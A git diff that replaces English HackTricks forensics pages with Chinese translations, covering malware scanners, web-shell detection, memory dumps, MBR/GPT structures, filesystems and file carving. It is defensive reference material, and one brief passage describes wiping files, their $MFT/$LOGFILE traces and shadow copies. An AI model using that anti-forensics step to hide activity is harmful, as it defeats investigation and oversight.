### Linux Malware Detect
-[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources.
+[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) 是一个针对Linux的恶意软件扫描器,发布于GNU GPLv2许可证,旨在应对共享托管环境中的威胁。它使用来自网络边缘入侵检测系统的威胁数据,提取正在攻击中积极使用的恶意软件,并生成检测签名。此外,威胁数据还来自用户提交的LMD结账功能和恶意软件社区资源。
### rkhunter
-Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware.
-
+像[**rkhunter**](http://rkhunter.sourceforge.net)这样的工具可以用来检查文件系统中可能存在的**rootkits**和恶意软件。
```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```
-
### FLOSS
-[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques.
+[**FLOSS**](https://github.com/mandiant/flare-floss) 是一个工具,尝试使用不同的技术在可执行文件中查找混淆字符串。
### PEpper
-[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules).
+[PEpper ](https://github.com/Th3Hurrican3/PEpper) 检查可执行文件中的一些基本内容(二进制数据、熵、URLs 和 IPs,一些 yara 规则)。
### PEstudio
-[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques.
+[PEstudio](https://www.winitor.com/download) 是一个工具,可以获取 Windows 可执行文件的信息,例如导入、导出、头部,但也会检查病毒总数并找到潜在的 Att\&ck 技术。
### Detect It Easy(DiE)
-[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**.
+[**DiE**](https://github.com/horsicq/Detect-It-Easy/) 是一个工具,用于检测文件是否被 **加密**,并找到 **打包器**。
### NeoPI
-[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**.
+[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI) 是一个 Python 脚本,使用多种 **统计方法** 检测文本/脚本文件中的 **混淆** 和 **加密** 内容。NeoPI 的预期目的是帮助 **检测隐藏的 web shell 代码**。
### **php-malware-finder**
-[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells.
+[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) 尽力检测 **混淆**/**可疑代码** 以及使用 **PHP** 函数的文件,这些函数通常用于 **恶意软件**/webshells。
### Apple Binary Signatures
-When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.**
-
+在检查某些 **恶意软件样本** 时,您应该始终 **检查二进制文件的签名**,因为签名的 **开发者** 可能已经与 **恶意软件** **相关**。
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
```
+## 检测技术
-## Detection Techniques
+### 文件堆叠
-### File Stacking
+如果你知道某个包含**文件**的文件夹**最后更新于某个日期**。**检查**所有**文件**在**web 服务器**中的**创建和修改日期**,如果有任何日期是**可疑的**,检查该文件。
-If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file.
+### 基线
-### Baselines
+如果一个文件夹的文件**不应该被修改**,你可以计算该文件夹**原始文件**的**哈希**值,并与**当前**文件进行**比较**。任何被修改的文件都将是**可疑的**。
-If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**.
+### 统计分析
-### Statistical Analysis
-
-When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**.
+当信息保存在日志中时,你可以**检查统计数据,比如每个web服务器的文件被访问的次数,因为web shell可能是其中之一**。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
index 0d48e3bc2..39345acf8 100644
--- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
+++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
@@ -1,49 +1,37 @@
-# Memory dump analysis
+# 内存转储分析
{{#include ../../../banners/hacktricks-training.md}}
-
+## 开始
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Start
-
-Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md).
+开始**搜索**pcap中的**恶意软件**。使用在[**恶意软件分析**](../malware-analysis.md)中提到的**工具**。
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
-**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations.
+**Volatility是内存转储分析的主要开源框架**。这个Python工具分析来自外部源或VMware虚拟机的转储,基于转储的操作系统配置文件识别数据,如进程和密码。它可以通过插件扩展,使其在取证调查中非常灵活。
-**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
+**[在这里找到备忘单](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
-## Mini dump crash report
+## 小型转储崩溃报告
-When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump.
+当转储很小(只有几KB,也许几MB)时,它可能是小型转储崩溃报告,而不是内存转储。
.png>)
-If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed:
+如果您安装了Visual Studio,可以打开此文件并绑定一些基本信息,如进程名称、架构、异常信息和正在执行的模块:
.png>)
-You can also load the exception and see the decompiled instructions
+您还可以加载异常并查看反编译的指令
.png>)
 (1).png>)
-Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump.
+无论如何,Visual Studio并不是执行转储深度分析的最佳工具。
-You should **open** it using **IDA** or **Radare** to inspection it in **depth**.
+您应该使用**IDA**或**Radare**来**深入**检查它。
-
-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
index 02ab3ddf6..1e75e4446 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
@@ -1,147 +1,145 @@
-# Partitions/File Systems/Carving
+# 分区/文件系统/雕刻
{{#include ../../../banners/hacktricks-training.md}}
-## Partitions
+## 分区
-A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\
-The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size.
+硬盘或**SSD磁盘可以包含不同的分区**,目的是物理上分隔数据。\
+磁盘的**最小**单位是**扇区**(通常由512B组成)。因此,每个分区的大小需要是该大小的倍数。
-### MBR (master Boot Record)
+### MBR(主引导记录)
-It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\
-It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\
-MBR allows **max 2.2TB**.
+它分配在**引导代码后的第一个扇区的446B**。这个扇区对于指示PC应该从哪里挂载分区至关重要。\
+它最多允许**4个分区**(最多**只有1个**可以是活动的/**可引导的**)。但是,如果需要更多分区,可以使用**扩展分区**。这个第一个扇区的**最后一个字节**是引导记录签名**0x55AA**。只能标记一个分区为活动。\
+MBR允许**最大2.2TB**。
.png>)
.png>)
-From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
+从MBR的**440到443字节**可以找到**Windows磁盘签名**(如果使用Windows)。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会导致Windows无法启动(工具:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
.png>)
-**Format**
+**格式**
-| Offset | Length | Item |
+| 偏移 | 长度 | 项目 |
| ----------- | ---------- | ------------------- |
-| 0 (0x00) | 446(0x1BE) | Boot code |
-| 446 (0x1BE) | 16 (0x10) | First Partition |
-| 462 (0x1CE) | 16 (0x10) | Second Partition |
-| 478 (0x1DE) | 16 (0x10) | Third Partition |
-| 494 (0x1EE) | 16 (0x10) | Fourth Partition |
-| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA |
+| 0 (0x00) | 446(0x1BE) | 引导代码 |
+| 446 (0x1BE) | 16 (0x10) | 第一个分区 |
+| 462 (0x1CE) | 16 (0x10) | 第二个分区 |
+| 478 (0x1DE) | 16 (0x10) | 第三个分区 |
+| 494 (0x1EE) | 16 (0x10) | 第四个分区 |
+| 510 (0x1FE) | 2 (0x2) | 签名 0x55 0xAA |
-**Partition Record Format**
+**分区记录格式**
-| Offset | Length | Item |
+| 偏移 | 长度 | 项目 |
| --------- | -------- | ------------------------------------------------------ |
-| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) |
-| 1 (0x01) | 1 (0x01) | Start head |
-| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) |
-| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits |
-| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) |
-| 5 (0x05) | 1 (0x01) | End head |
-| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) |
-| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits |
-| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) |
-| 12 (0x0C) | 4 (0x04) | Sectors in partition |
+| 0 (0x00) | 1 (0x01) | 活动标志 (0x80 = 可引导) |
+| 1 (0x01) | 1 (0x01) | 起始磁头 |
+| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);气缸的高位(6-7) |
+| 3 (0x03) | 1 (0x01) | 起始气缸最低8位 |
+| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) |
+| 5 (0x05) | 1 (0x01) | 结束磁头 |
+| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);气缸的高位(6-7) |
+| 7 (0x07) | 1 (0x01) | 结束气缸最低8位 |
+| 8 (0x08) | 4 (0x04) | 分区前的扇区(小端) |
+| 12 (0x0C) | 4 (0x04) | 分区中的扇区 |
-In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command)
+为了在Linux中挂载MBR,您首先需要获取起始偏移量(可以使用`fdisk`和`p`命令)
- (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
-
-And then use the following code
+ (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
+然后使用以下代码
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
+**LBA (逻辑块寻址)**
-**LBA (Logical block addressing)**
+**逻辑块寻址** (**LBA**) 是一种常用的方案,用于**指定存储在计算机存储设备上的数据块的位置**,通常是硬盘驱动器等二级存储系统。LBA 是一种特别简单的线性寻址方案;**块通过整数索引定位**,第一个块为 LBA 0,第二个为 LBA 1,依此类推。
-**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on.
+### GPT (GUID 分区表)
-### GPT (GUID Partition Table)
+GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强能力而受到青睐。GPT 在多个方面具有独特性:
-The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways:
+- **位置和大小**:GPT 和 MBR 都从**扇区 0** 开始。然而,GPT 采用**64位**,与 MBR 的 32位形成对比。
+- **分区限制**:GPT 在 Windows 系统上支持最多**128个分区**,并可容纳最多**9.4ZB**的数据。
+- **分区名称**:提供最多 36 个 Unicode 字符的分区命名能力。
-- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits.
-- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data.
-- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters.
+**数据弹性和恢复**:
-**Data Resilience and Recovery**:
+- **冗余**:与 MBR 不同,GPT 不将分区和引导数据限制在一个地方。它在磁盘上复制这些数据,从而增强数据完整性和弹性。
+- **循环冗余检查 (CRC)**:GPT 使用 CRC 确保数据完整性。它主动监控数据损坏,并在检测到时,尝试从另一个磁盘位置恢复损坏的数据。
-- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience.
-- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location.
+**保护性 MBR (LBA0)**:
-**Protective MBR (LBA0)**:
-
-- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks.
+- GPT 通过保护性 MBR 维持向后兼容性。此功能位于传统 MBR 空间中,但旨在防止较旧的基于 MBR 的工具错误地覆盖 GPT 磁盘,从而保护 GPT 格式磁盘上的数据完整性。
.png>)
-**Hybrid MBR (LBA 0 + GPT)**
+**混合 MBR (LBA 0 + GPT)**
-[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
+[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)
-In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes.
+在支持**通过 BIOS** 服务而非 EFI 的**基于 GPT 的引导**的操作系统中,第一个扇区仍然可以用于存储**引导加载程序**代码的第一阶段,但**经过修改**以识别**GPT** **分区**。MBR 中的引导加载程序不得假设扇区大小为 512 字节。
-**Partition table header (LBA 1)**
+**分区表头 (LBA 1)**
-[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
+[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)
-The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table).
+分区表头定义了磁盘上可用的块。它还定义了构成分区表的分区条目的数量和大小(表中的偏移量 80 和 84)。
-| Offset | Length | Contents |
+| 偏移量 | 长度 | 内容 |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) |
-| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 |
-| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) |
-| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation |
-| 20 (0x14) | 4 bytes | Reserved; must be zero |
-| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) |
-| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) |
-| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) |
-| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) |
-| 56 (0x38) | 16 bytes | Disk GUID in mixed endian |
-| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) |
-| 80 (0x50) | 4 bytes | Number of partition entries in array |
-| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) |
-| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian |
-| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) |
+| 0 (0x00) | 8 字节 | 签名 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8) 在小端机器上) |
+| 8 (0x08) | 4 字节 | 版本 1.0 (00h 00h 01h 00h) 适用于 UEFI 2.8 |
+| 12 (0x0C) | 4 字节 | 小端的头大小(以字节为单位,通常为 5Ch 00h 00h 00h 或 92 字节) |
+| 16 (0x10) | 4 字节 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 的头(偏移量 +0 到头大小)的小端,计算时此字段为零 |
+| 20 (0x14) | 4 字节 | 保留;必须为零 |
+| 24 (0x18) | 8 字节 | 当前 LBA(此头副本的位置) |
+| 32 (0x20) | 8 字节 | 备份 LBA(另一个头副本的位置) |
+| 40 (0x28) | 8 字节 | 分区的第一个可用 LBA(主分区表最后 LBA + 1) |
+| 48 (0x30) | 8 字节 | 最后可用 LBA(辅助分区表第一个 LBA − 1) |
+| 56 (0x38) | 16 字节 | 磁盘 GUID 的混合字节序 |
+| 72 (0x48) | 8 字节 | 分区条目数组的起始 LBA(主副本中始终为 2) |
+| 80 (0x50) | 4 字节 | 数组中分区条目的数量 |
+| 84 (0x54) | 4 字节 | 单个分区条目的大小(通常为 80h 或 128) |
+| 88 (0x58) | 4 字节 | 分区条目数组的 CRC32 小端 |
+| 92 (0x5C) | \* | 保留;对于块的其余部分必须为零(对于 512 字节的扇区大小为 420 字节;但对于更大的扇区大小可以更多) |
-**Partition entries (LBA 2–33)**
+**分区条目 (LBA 2–33)**
-| GUID partition entry format | | |
+| GUID 分区条目格式 | | |
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
-| Offset | Length | Contents |
-| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) |
-| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) |
-| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
-| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) |
-| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) |
-| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) |
+| 偏移量 | 长度 | 内容 |
+| 0 (0x00) | 16 字节 | [分区类型 GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)(混合字节序) |
+| 16 (0x10) | 16 字节 | 唯一分区 GUID(混合字节序) |
+| 32 (0x20) | 8 字节 | 第一个 LBA([小端](https://en.wikipedia.org/wiki/Little_endian)) |
+| 40 (0x28) | 8 字节 | 最后 LBA(包含,通常为奇数) |
+| 48 (0x30) | 8 字节 | 属性标志(例如,位 60 表示只读) |
+| 56 (0x38) | 72 字节 | 分区名称(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 代码单元) |
-**Partitions Types**
+**分区类型**
.png>)
-More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
+更多分区类型请见 [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
-### Inspecting
+### 检查
-After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted:
+在使用 [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) 挂载取证镜像后,可以使用 Windows 工具 [**Active Disk Editor**](https://www.disk-editor.org/index.html)** 检查第一个扇区**。在下图中,在**扇区 0** 检测到一个 **MBR** 并进行了解释:
.png>)
-If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty).
+如果是**GPT 表而不是 MBR**,则应在**扇区 1** 中出现签名 _EFI PART_(在前面的图像中是空的)。
-## File-Systems
+## 文件系统
-### Windows file-systems list
+### Windows 文件系统列表
- **FAT12/16**: MSDOS, WIN95/98/NT/200
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@@ -151,86 +149,86 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI
### FAT
-The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process.
+**FAT (文件分配表)** 文件系统围绕其核心组件——文件分配表设计,该表位于卷的开始。该系统通过维护**两个副本**的表来保护数据,确保即使一个损坏也能保持数据完整性。该表及根文件夹必须位于**固定位置**,这对系统的启动过程至关重要。
-The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions:
+文件系统的基本存储单位是**簇,通常为 512B**,由多个扇区组成。FAT 通过版本演变:
-- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX).
-- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters.
-- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume.
+- **FAT12**,支持 12 位簇地址,处理最多 4078 个簇(与 UNIX 一起为 4084)。
+- **FAT16**,增强为 16 位地址,从而容纳最多 65,517 个簇。
+- **FAT32**,进一步发展为 32 位地址,允许每个卷最多 268,435,456 个簇。
-A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage.
+所有 FAT 版本的一个显著限制是**最大文件大小为 4GB**,这是由于用于文件大小存储的 32 位字段所致。
-Key components of the root directory, particularly for FAT12 and FAT16, include:
+根目录的关键组件,特别是对于 FAT12 和 FAT16,包括:
-- **File/Folder Name** (up to 8 characters)
-- **Attributes**
-- **Creation, Modification, and Last Access Dates**
-- **FAT Table Address** (indicating the start cluster of the file)
-- **File Size**
+- **文件/文件夹名称**(最多 8 个字符)
+- **属性**
+- **创建、修改和最后访问日期**
+- **FAT 表地址**(指示文件的起始簇)
+- **文件大小**
### EXT
-**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**.
+**Ext2** 是最常见的**非日志**分区(**不经常更改的分区**)的文件系统,如引导分区。**Ext3/4** 是**日志**文件系统,通常用于**其余分区**。
-## **Metadata**
+## **元数据**
-Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like:
+某些文件包含元数据。这些信息是关于文件内容的,有时对分析师可能很有趣,因为根据文件类型,它可能包含如下信息:
-- Title
-- MS Office Version used
-- Author
-- Dates of creation and last modification
-- Model of the camera
-- GPS coordinates
-- Image information
+- 标题
+- 使用的 MS Office 版本
+- 作者
+- 创建和最后修改日期
+- 相机型号
+- GPS 坐标
+- 图像信息
-You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file.
+您可以使用 [**exiftool**](https://exiftool.org) 和 [**Metadiver**](https://www.easymetadata.com/metadiver-2/) 等工具获取文件的元数据。
-## **Deleted Files Recovery**
+## **已删除文件恢复**
-### Logged Deleted Files
+### 记录的已删除文件
-As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files.
+如前所述,有几个地方在文件被“删除”后仍然保存该文件。这是因为通常从文件系统中删除文件只是将其标记为已删除,但数据并未被触及。因此,可以检查文件的注册表(如 MFT)并找到已删除的文件。
-Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible.
+此外,操作系统通常会保存大量关于文件系统更改和备份的信息,因此可以尝试使用它们来恢复文件或尽可能多的信息。
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
-### **File Carving**
+### **文件雕刻**
-**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself.
+**文件雕刻**是一种尝试在**大量数据中查找文件**的技术。此类工具的主要工作方式有三种:**基于文件类型的头和尾**、基于文件类型的**结构**和基于**内容**本身。
-Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it.
+请注意,这种技术**无法检索碎片化的文件**。如果文件**未存储在连续的扇区中**,则此技术将无法找到它,或至少无法找到其部分。
-There are several tools that you can use for file Carving indicating the file types you want to search for
+您可以使用多种工具进行文件雕刻,指明您要搜索的文件类型。
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
-### Data Stream **C**arving
+### 数据流 **C**arving
-Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\
-For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs.
+数据流雕刻类似于文件雕刻,但**不是查找完整文件,而是查找有趣的信息片段**。\
+例如,代替查找包含记录的 URL 的完整文件,此技术将搜索 URL。
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
-### Secure Deletion
+### 安全删除
-Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\
-You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them.
+显然,有方法可以**“安全地”删除文件及其部分日志**。例如,可以**多次用垃圾数据覆盖**文件的内容,然后**删除**关于该文件的**$MFT** 和 **$LOGFILE** 中的**日志**,并**删除卷影副本**。\
+您可能会注意到,即使执行该操作,仍可能有**其他部分记录了文件的存在**,这确实是事实,取证专业人员的工作之一就是找到它们。
-## References
+## 参考文献
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
-- **iHackLabs Certified Digital Forensics Windows**
+- **iHackLabs 认证数字取证 Windows**
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index cd9e13a58..cb875f11c 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -1,95 +1,87 @@
-# File/Data Carving & Recovery Tools
+# 文件/数据雕刻与恢复工具
{{#include ../../../banners/hacktricks-training.md}}
-## Carving & Recovery tools
+## 雕刻与恢复工具
-More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+更多工具在 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
-The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files.
